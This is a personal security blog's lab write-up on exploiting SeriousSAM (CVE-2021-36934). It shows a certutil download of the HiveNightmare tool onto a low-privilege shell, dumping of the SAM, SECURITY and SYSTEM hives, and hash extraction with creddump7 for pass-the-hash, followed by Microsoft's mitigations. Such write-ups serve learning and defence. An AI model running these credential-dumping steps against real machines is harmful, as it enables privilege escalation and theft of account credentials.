SeriousSAM (CVE-2021–36934)

Search for a command to run...

No comments yet. Be the first to comment.
How to bypass SSL pinning with an android emulator for pentesting

Learn about my experience with the Advanced Evasion Techniques and Breaching Defenses Course & the OSEP exam!

Zero Trust Network Access

Introduction Having spent a considerable amount of time immersed in web-related attacks in the AWAE labs over the last 4 months, I began to feel a sense of detachment from the realm of Active Directory (AD) exploitation and pivoting. Now that I was d...

Introduction Greetings, fellow cyber peoplez! Just wanted to give you guys some insight into my journey towards earning the Offensive Security Wireless Professional (OSWP) certification. In this blog post, I will take you through some of my experienc...


SeriousSAM is a CVE which allows non privileged users to read registry and sensitive data. Users are then able to elevate their privileges using the obtained data. This vulnerability has exists in windows based machines for the longest time. It was just never uncovered till 20th of July 2021. I'll be exploiting the Elevation of Privilege Vulnerability in my own lab environment!
An elevation of privilege vulnerability exists because of overly permissive Access Control Lists (ACLs) on multiple system files, including the Security Accounts Manager (SAM) database. An attacker who successfully exploited this vulnerability could run arbitrary code with SYSTEM privileges. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights. An attacker must have the ability to execute code on a victim system to exploit this vulnerability.
Link to Microsoft's post.
There are certain prerequisites that have to be met in order for the attack to exploit this vulnerability. The vulnerability exists in the Volume Shadow Copy Service (VSS) AKA System Restore Points and the insecure SAM file permissions.
System Protection has to be enabled for at least the C:/ drive. Has to be done by the administrator of the machine.


A restore point has to exist on the target machine. Has to be done by the administrator of the machine.




Now lets assume we have an initial shell on the box as a low privilege user. This is how we would go about getting those hashes which we can then pass around 😉.
I'll be utilizing this repository by Kevin Beaumont to exploit this vulnerability. The latest version of the executable (as of writing this) can be downloaded from here.
C:\Users\user\Desktop\SeriousSAM>certutil -urlcache -f https://github.com/GossiTheDog/HiveNightmare/releases/download/0.5/HiveNightmare.exe HiveNightmare.exe

Running the executable successfully dumps out the SAM, SECURITY and SYSTEM files.
C:\Users\user\Desktop\SeriousSAM>HiveNightmare.exe

Using CredDump7 we are able to dump the user accounts' hashes for further use.
┌──(root💀4pfsec)-[~/projects/seriousSam] └─# /opt/creddump7/pwdump.py SYSTEM-2021-06-13 SAM-2021-06-13

We were able to successfully dump the hashes from the target machines which we can then use to perform a Pass the Hash attack with psexec.
By Microsoft.
Restrict access to the contents of %windir%\system32\config
Command Prompt (Run as administrator): icacls %windir%\\system32\\config\\*.* /inheritance:e
Windows PowerShell (Run as administrator): icacls $env:windir\\system32\\config\\*.* /inheritance:e
Delete Volume Shadow Copy Service (VSS) shadow copies
Impact of workaround Deleting shadow copies could impact restore operations, including the ability to restore data with third-party backup applications. For more information on how to delete shadow copies, see KB5005357- Delete Volume Shadow Copies.
Note You must restrict access and delete shadow copies to prevent exploitation of this vulnerability.
There's also a bunch of updates for the various versions of windows over on this page (at the bottom).